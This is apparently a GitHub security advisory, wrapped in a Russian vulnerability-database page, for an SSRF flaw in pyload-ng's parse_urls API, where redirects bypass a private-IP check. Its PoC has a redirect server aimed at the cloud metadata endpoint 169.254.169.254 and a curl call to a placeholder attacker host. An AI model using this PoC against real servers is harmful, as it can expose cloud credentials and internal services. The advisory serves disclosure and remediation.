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GHSA-8rp3-xc6w-5qp5

Опубликовано: 21 мая 2026
Источник: github
Github: Прошло ревью
CVSS3: 5

Описание

pyload-ng: SSRF via HTTP Redirect Bypass in parse_urls API

Summary

The SSRF mitigation added in commit 33c55da for GHSA-7gvf-3w72-p2pg is incomplete. The PREREQFUNCTION-based private IP check was correctly applied to HTTPChunk (download path) but not to HTTPRequest (used by the parse_urls API). An authenticated attacker can supply a URL pointing to an attacker-controlled server that responds with a 302 redirect to an internal/private IP address, bypassing the is_global_host() check on the initial URL.

Details

The parse_urls API method validates the initial URL hostname:

# src/pyload/core/api/__init__.py:600-604 if url: urlp = urlparse(url) hostname = urlp.hostname if urlp.scheme in ("http", "https") and hostname and is_global_host(hostname): page = get_url(url)

get_url() is imported from request_factory.py and creates an HTTPRequest with default settings:

# src/pyload/core/network/request_factory.py:58-64 def get_url(self, *args, **kwargs): with HTTPRequest(None, self.get_options()) as h: rep = h.load(*args, **kwargs) return rep

HTTPRequest.__init__ sets allow_private_ip = True by default:

# src/pyload/core/network/http/http_request.py:75 self.allow_private_ip = True

The init_handle() method enables redirect following:

# src/pyload/core/network/http/http_request.py:117-118 self.c.setopt(pycurl.FOLLOWLOCATION, 1) self.c.setopt(pycurl.MAXREDIRS, 10)

The _pre_request_callback that should block redirects to private IPs is a no-op when allow_private_ip is True:

# src/pyload/core/network/http/http_request.py:574-582 def _pre_request_callback(self, conn_primary_ip, conn_local_ip, conn_primary_port, conn_local_port): if not self.allow_private_ip and not is_global_address(conn_primary_ip): return pycurl.PREREQFUNC_ABORT return pycurl.PREREQFUNC_OK

The fix at commit 33c55da correctly set allow_private_ip = False in HTTPChunk (http_chunk.py:136) for the download path, but HTTPRequest used by RequestFactory.get_url() retains the default of True, leaving the parse_urls API unprotected against redirect-based SSRF.

PoC

# Step 1: Start a redirect server on attacker-controlled host python3 -c " from http.server import BaseHTTPRequestHandler, HTTPServer class H(BaseHTTPRequestHandler): def do_GET(self): self.send_response(302) self.send_header('Location', 'http://169.254.169.254/latest/meta-data/') self.end_headers() HTTPServer(('0.0.0.0', 8888), H).serve_forever() " # Step 2: Authenticated user with ADD permission calls parse_urls curl -X POST 'http://pyload-host:8000/api/parse_urls' \ -H 'Cookie: session=<valid_session>' \ -d 'url=http://attacker.com:8888/redirect' # Expected flow: # 1. is_global_host('attacker.com') -> True (passes validation) # 2. get_url() creates HTTPRequest with allow_private_ip=True # 3. pycurl fetches attacker.com:8888, receives 302 -> http://169.254.169.254/latest/meta-data/ # 4. _pre_request_callback runs but skips check (allow_private_ip=True) # 5. pycurl follows redirect to cloud metadata endpoint # 6. Response body parsed by RE_URLMATCH, any URLs in metadata returned to attacker

Impact

An authenticated attacker with ADD permission can perform SSRF against:

  • Cloud metadata endpoints (AWS IMDSv1 at 169.254.169.254, GCP, Azure) — potentially leaking IAM credentials, instance metadata, and secrets
  • Internal services on private networks (e.g., 10.x.x.x, 172.16.x.x, 192.168.x.x)
  • Localhost services (127.0.0.1) running on the pyload server

Data exfiltration is partially limited by the RE_URLMATCH regex filter (only URL-like strings from the response body are returned), but cloud metadata responses often contain URLs or URL-like paths that match this pattern. The REDIR_PROTOCOLS setting limits redirects to HTTP/HTTPS only.

Recommended Fix

Set allow_private_ip = False in RequestFactory.get_url():

# src/pyload/core/network/request_factory.py def get_url(self, *args, **kwargs): with HTTPRequest(None, self.get_options()) as h: h.allow_private_ip = False # Prevent SSRF via redirects rep = h.load(*args, **kwargs) return rep

Alternatively, change the default in HTTPRequest.__init__ to False:

# src/pyload/core/network/http/http_request.py:75 self.allow_private_ip = False

The second approach is more defensive (secure by default), but may require auditing other callers that legitimately need to access private IPs. The first approach is the targeted fix.

Пакеты

Наименование

pyload-ng

pip
Затронутые версииВерсия исправления

< 0.5.0b3.dev100

0.5.0b3.dev100

EPSS

Процентиль: 7%
0.00176
Низкий

5 Medium

CVSS3

Дефекты

CWE-918

Связанные уязвимости

CVSS3: 5
nvd
3 месяца назад

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, the PREREQFUNCTION-based private IP check was not applied to HTTPRequest (used by the parse_urls API). An authenticated attacker can supply a URL pointing to an attacker-controlled server that responds with a 302 redirect to an internal/private IP address, bypassing the is_global_host() check on the initial URL. This vulnerability is fixed in 0.5.0b3.dev100.

CVSS3: 5
debian
3 месяца назад

pyLoad is a free and open-source download manager written in Python. P ...

EPSS

Процентиль: 7%
0.00176
Низкий

5 Medium

CVSS3

Дефекты

CWE-918